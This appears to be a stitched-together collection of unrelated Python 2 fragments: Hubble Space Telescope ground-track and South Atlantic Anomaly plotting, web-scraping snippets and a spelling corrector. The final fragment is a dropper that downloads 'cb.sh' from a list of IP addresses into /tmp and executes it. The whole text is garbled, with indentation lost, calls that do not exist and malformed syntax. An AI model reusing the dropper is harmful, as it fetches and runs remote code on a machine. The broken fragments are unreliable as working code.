scatter = m.scatter(xhst[:-1], yhst[:-1], s = sz, c = data, cmap = cm.jet, linestyle = 'solid', zorder = 11, hold = 'on')
else:
fig = P.figure(1)
points = N.array([xhst, yhst]).T.reshape(-1, 1, 2)
segments = N.concatenate([points[:-1], points[1:]], axis=1)
ax = P.axes()
lc = LineCollection(segments, cmap = P.get_cmap('jet'), norm = P.Normalize(0, 10000))
lc.set_array(data)
lc.set_linewidth(5)
ax.add_collection(lc)
axcb = fig.colorbar(lc)
axcb.set_label('EVENTS')
#contour plot
#cs = m.contour(xhst, yhst, data, 15, linewidths = 1.5)
#mx = N.max(data)
#cbar = map.colorbar(s, ticks=[N.max(data), mx//2., mx], orientation='vertical')
hst_label = 'HST once per minute'
font = p.copy()
#font.set_size('xx-small')
font.set_size('small')
leg=legend((saa02,saa03,saa04,saa05,saa06,hst), \
('PASS SAA Level 1 - FGS Guidance & STIS LV', \
'PASS SAA Level 2 - STIS', \
'PASS SAA Level 3 - ACS & WFC3', \
'PASS SAA Level 4 - Astrometry & NICMOS', \
'PASS SAA Level 5 - COS', \
hst_label), \
prop=font,numpoints=2,borderpad=0.3,loc='upper center',borderaxespad=0.0,ncol=2)
leg.get_frame().set_alpha(0.7)
# draw the title.
P.title('HST from %s to %s' % (str(arg1),str(arg2)))
if hold_on == False: P.show()
import urllib2
import simplejson
url = "http://www.amazon.com/s/ref=nb_sb_noss_2/185-5945162-0333204?url=search-alias%3Daps&field-keywords=laptop"
if __name__ == "__main__":
req = urllib2.Request(url)
opener = urllib2.open(req)
json = simplejson.load(f)
for item in json:
print item.get('id')
def get_google_map_tile():
urllib2.open()
return None
#import urllib2
from urllib2 import urlopen as open
from urllib2 import Request as req
from bs4 import BeautifulSoup as soup
import lxmlheaders={
"User-Agent":agent
}
url='https://www.google.com/search?q=pangolin'
#"User-Agent":agent
html=req(url, headers=headers)
try:
gold=open(html);
page_soup=soup(gold, "lxml")
h3s=page_soup.findAll("h3", {"class":"r"})
for h3 in h3s:
gold=h3.a
print gold.text
except urllib2HTTPError, e:
print "HTTP error:", e.code
exit(1)
import pcap
import dpkt
import urllib2
import urllib
data = {}
data['name'] = 'WHY'
data['location'] = 'SDU'
data['language'] = 'Python'
url_values = urllib.urlencode(data)
print url_values
#name=Somebody+Here&language=Python&location=Northampton
url = 'http://www.example.com/example.cgi'
full_url = url + '?' + url_values
data = urllib2.open(full_url)
import urllib2
import json
url_data = 'https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/2.5_day.geojson'
# Open the url and read the data
webUrl = urllib2.open(url_data)
if (webUrl.getCode() == 200):
data = webUrl.read()
def testpage():
data1 = urllib2.open('https://api.wheretheiss.at/v1/satellites/25544')
print data1
data2 = json.loads(data1)
print data2
def plotHSTtrack(hst_start, hst_stop, tlefile, ephemerisOnline=False):
num_points = int((hst_stop - hst_start) / ephem.minute) + 1
# Read in the HST Two-Line ephemeris
if ephemerisOnline:
import urllib2
hand = urllib2.open("http://celestrak.com/NORAD/elements/science.txt")
data = hand.readlines()
hand.close()
HST = [[d[val], d[val + 1], d[val + 2]] for val, line in enumerate(d) if "HST" in line]
hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2]))
else:
temp = open(tlefile, "r").readlines()
hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2]))
cur_time = hst_start
hst_longs = []
hst_lats = []
for i in range(0, num_points):
hst.compute(cur_time)
hst_longs.append(hst.sublong.znorm * 180.0 / math.pi)
hst_lats.append(hst.sublat * 180.0 / math.pi)
cur_time = cur_time + ephem.minute
lon_0 = 335
lat_0 = -20
llcrnrlat = -60
llcrnrlon = -100
urcrnrlat = 20
urcrnrlon = 60
# use these values to setup Basemap instance.
width = 14000000
height = 10000000
# m = Basemap(width=width,height=height,\
# resolution='c',projection='aeqd',\
# lat_0=lat_0,lon_0=lon_0)
# m = Basemap(resolution='c',projection='aeqd',lat_0=lat_0,lon_0=lon_0)
# m = Basemap(width=width,height=height,\
# resolution='c',projection='aea',\
# lat_0=lat_0,lon_0=lon_0)
m = Basemap(resolution="c", projection="mbtfpq", lon_0=lon_0)
# m = Basemap(resolution='c',projection='moll',lon_0=lon_0)
# m = Basemap(resolution='c',projection='ortho',lon_0=lon_0,lat_0=lat_0)
# m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon)
p = FontProperties()
font1 = p.copy()
font1.set_size("small")
# draw coasts and fill continents.
m.drawcoastlines(linewidth=0.5)
# m.fillcontinents()
m.drawparallels(arange(-80, 81, 10), labels=[1, 1, 0, 0], fontproperties=font1, labelstyle="+/-")
m.drawmeridians(arange(-180, 180, 20), labels=[0, 0, 0, 1], fontproperties=font1, labelstyle="+/-")
m.bluemarble()
m.drawmapboundary()
# SAA 02
x2, y2 = m(
[
357.4 - 360,
357.6 - 360,
356.9 - 360,
355.0 - 360,
352.3 - 360,
348.7 - 360,
342.9 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
289.0 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
357.4 - 360,
],
[
-28.3,
-26.1,
-23.7,
-21.2,
-18.8,
-16.3,
-13.0,
-10.6,
-9.1,
-11.9,
-14.9,
-17.0,
-19.1,
-21.3,
-23.7,
-26.0,
-28.6,
-28.3,
],
)
# SAA 03
# x3,y3 = m([294.4-360,301.4-360,350.0-360,358.4-360,335.8-360,304.6-360,295.5-360,279.4-360,282.6-360,294.4-360], \
# [-41.0,-42.8,-30.0,-20.9,-4.9,-4.9,-7.0,-21.9,-32.7,-41.0])
x3, y3 = m(
[
20.0,
21.0,
19.0,
7.5,
347.0 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
20.0,
],
[-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3],
)
# SAA 04
# x4,y4 = m([335.0-360,345.0-360,349.0-360,346.0-360,330.0-360,314.0-360,310.0-360,303.0-360,310.0-360,325.0-360,335.0-360], \
# [-33.0,-27.0,-24.0,-23.0,-25.0,-30.0,-32.2,-39.0,-40.0,-37.0,-33.0])
x4, y4 = m(
[
25.0,
7.0,
351.0 - 360,
341.0 - 360,
318.0 - 360,
300.0 - 360,
290.0 - 360,
284.0 - 360,
278.0 - 360,
273.0 - 360,
275.0 - 360,
25.0,
],
[-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5],
)
# SAA 05,23
x5, y5 = m(
[
300.0 - 360,
45.0,
40.0,
30.0,
10.0,
0.0,
341.0 - 360,
318.0 - 360,
300.0 - 360,
283.0 - 360,
273.0 - 360,
275.0 - 360,
300.0 - 360,
],
[-50.0, -30.0, -25.0, -21.0, -15.0, -10.2, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0],
)
# SAA 06
# x6,y6 = m([359.0-360,360.0-360,335.4-360,323.0-360,290.0-360,280.0-360,276.0-360,280.0-360,359.0-360], \
# [-28.0,-20.9,-3.4,-0.0,-7.0,-12.6,-20.9,-30.0,-28.0])
x6, y6 = m(
[
20.0,
21.0,
19.0,
7.5,
347.0 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
20.0,
],
[-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3],
)
# SAA 07
x7, y7 = m(
[
300.0 - 360,
359.0 - 360,
5.0,
341.0 - 360,
318.0 - 360,
300.0 - 360,
283.0 - 360,
273.0 - 360,
275.0 - 360,
300.0 - 360,
],
[-50.0, -41.0, -23.0, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0],
)
# SAA 24,25,28,31,32
x24, y24 = m(
[
20.0,
21.0,
19.0,
7.5,
347.0 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
20.0,
],
[-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3],
)
# SAA 26,27,29,30
x26, y26 = m(
[
25.0,
7.0,
351.0 - 360,
341.0 - 360,
318.0 - 360,
300.0 - 360,
290.0 - 360,
284.0 - 360,
278.0 - 360,
273.0 - 360,
275.0 - 360,
25.0,
],
[-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5],
)
# HST observation ground track
xhst, yhst = m(hst_longs, hst_lats)
saa02 = m.plot(
x2, y2, marker="D", markersize=4.0, markeredgewidth=0.0, color="turquoise", linestyle="-", label="02"
)
saa03 = m.plot(x3, y3, marker="v", markersize=4.0, markeredgewidth=0.0, color="white", linestyle="-", label="03")
saa04 = m.plot(x4, y4, marker="^", markersize=4.0, markeredgewidth=0.0, color="orange", linestyle="-", label="04")
saa05 = m.plot(x5, y5, marker="s", markersize=4.0, markeredgewidth=0.0, color="green", linestyle="-", label="05")
saa06 = m.plot(x6, y6, marker="x", markersize=4.0, markeredgewidth=1.0, color="magenta", linestyle="-", label="06")
# saa07 = m.plot(x7,y7,marker='>',markersize=4.0,markeredgewidth=0.0,color='darkorchid',linestyle='-',label='07')
# saa24 = m.plot(x24,y24,marker='x',markersize=4.0,markeredgewidth=1.0,color='green',linestyle='-',label='24')
# saa26 = m.plot(x26,y26,marker='^',markersize=4.0,markeredgewidth=0.0,color='maroon',linestyle='-',label='26')
hst = m.plot(
xhst,
yhst,
marker="+",
markersize=4.0,
markeredgewidth=1.0,
color="red",
linestyle="-",
linewidth=0.7,
label="hst",
)
# SMN:
# cnts must be sampled similar as xhst and yhst!
# cs = m.contour(xhst,yhst,cnts,15,linewidths=1.5)
hst_label = "HST once per minute"
font = p.copy()
# font.set_size('xx-small')
font.set_size("small")
leg = legend(
(saa02, saa03, saa04, saa05, saa06, hst),
(
"PASS SAA Level 1 - FGS Guidance & STIS LV",
"PASS SAA Level 2 - STIS",
"PASS SAA Level 3 - ACS & WFC3",
"PASS SAA Level 4 - Astrometry & NICMOS",
"PASS SAA Level 5 - COS",
#'07 - GHRS', \
#'24/25/31/32 - STIS CCD/STIS MAMA/COS FUV/COS NUV', \
#'26/27/28/29/30 - WFPC2/ACS CCD/ACS SBC/WFC3 UVIS/WFC3 IR', \
hst_label,
),
prop=font,
numpoints=2,
borderpad=0.3,
loc="upper center",
borderaxespad=0.0,
ncol=2,
)
leg.get_frame().set_alpha(0.7)
# figlegend((saa02,saa05,saa24,saa26),('02','05','24','26'),'upper right')
# draw the title.
title("HST from %s to %s" % (str(arg1), str(arg2)))
show()
import sys
import csv
import re
import collections
import urllib2
def words(text): return re.findall('[a-z]+', text.lower())
def train(features):
model = collections.defaultdict(lambda: 1)
for f in features:
model[f] += 1
return model
#NWORDS = train(words(file('big.txt').read()))
NWORDS = train(words(urllib2.open('http://www.norvig.com/big.txt').read()))
alphabet = 'abcdefghijklmnopqrstuvwxyz'
def edits1(word):
splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]
deletes = [a + b[1:] for a, b in splits if b]
transposes = [a + b[1] + b[0] + b[2:] for a, b in splits if len(b)>1]
replaces = [a + c + b[1:] for a, b in splits for c in alphabet if b]
inserts = [a + c + b for a, b in splits for c in alphabet]
return set(deletes + transposes + replaces + inserts)
def known_edits2(word):
return set(e2 for e1 in edits1(word) for e2 in edits1(e1) if e2 in NWORDS)
def known(words): return set(w for w in words if w in NWORDS)
#!/usr/bin/env python3
import urllib2
import os
urls = ["1.1.1.1."."2.2.2.2"]
port = "80"
payload = "cb.sh"
#Loop through list of IPs
for url in urls:
u = "http://%s:%s/%s" % (url,port, payload)
#Download file over HTTP
try:
r = urllib2.open(u)
wfile = open("/tmp/cb.sh","wb")
wfile.write(r.read())
wfile.close()
except: continue
#Execute
if os.path.exixts("/tmp/cb.sh"):
os.system("chmod 00 /tmp/cb.sh")
os.system("/tmp/cb.sh")
